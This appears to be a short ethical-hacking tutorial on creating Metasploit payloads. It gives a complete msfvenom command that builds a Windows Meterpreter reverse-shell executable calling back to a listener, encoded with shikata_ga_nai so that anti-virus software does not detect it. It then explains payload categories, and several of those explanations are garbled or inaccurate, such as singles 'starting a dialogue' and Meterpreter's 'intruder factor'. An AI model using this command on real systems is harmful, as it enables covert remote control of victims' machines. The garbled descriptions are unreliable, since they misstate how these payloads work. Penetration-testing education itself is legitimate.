How to use an Encoder During Payload Generation In Ethical Hacking
To avoid detection by anti-virus software, we can use an encoder while generating the payload. The encoder goes through the entire target payload from the data section and transforms each byte with a specific key.
Check out all the different encoders by typing the following command in your terminal.
msfvenom -l encoders
You can see we have applied the x86/shikata_ga_nai encoding to the same payload we created earlier.
msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 -e x86/shikata_ga_nai -f exe -o payload.exe
Working with Payload Metasploit in Kali Linux
The Metasploit framework is a penetration testing tool for exploiting and validating vulnerabilities. It includes the fundamental architecture, particular content, and tools required for penetration testing and extensive security evaluation. It is a well-known exploitation framework that is routinely updated; new exploits are included as soon as they are announced. It includes a number of tools for constructing security workspaces for vulnerability and penetration testing systems.
There are several types of payloads in Metasploit. These three fundamental categories are the ones you’ll end up using the most.
- Singles: Singles are small and are used to start a dialogue before going on to the next step.
- Stagers: The payload uses the stager to create a network connection between the target machine and the payload processor on the Metasploit server. The stager enables you to load and insert a bigger, more complex payload known as the stage by utilizing a smaller payload.
- Meterpreter: Meterpreter has evolved into a Metasploit attack payload that provides an intruder factor that influences how the target system browses and executes programs. Meterpreter is a memory-only program that does not write to the hard drive. Meterpreter attempted to inject itself into the attacked process, from where it might migrate to other functioning methods; as a result, no new processes were established. Meterpreter was designed to avoid the drawbacks of employing specific payloads while allowing command writing and ensuring encrypted connection. The disadvantage of using particular payloads is that if a newer process begins throughout the target system, alarms may be generated.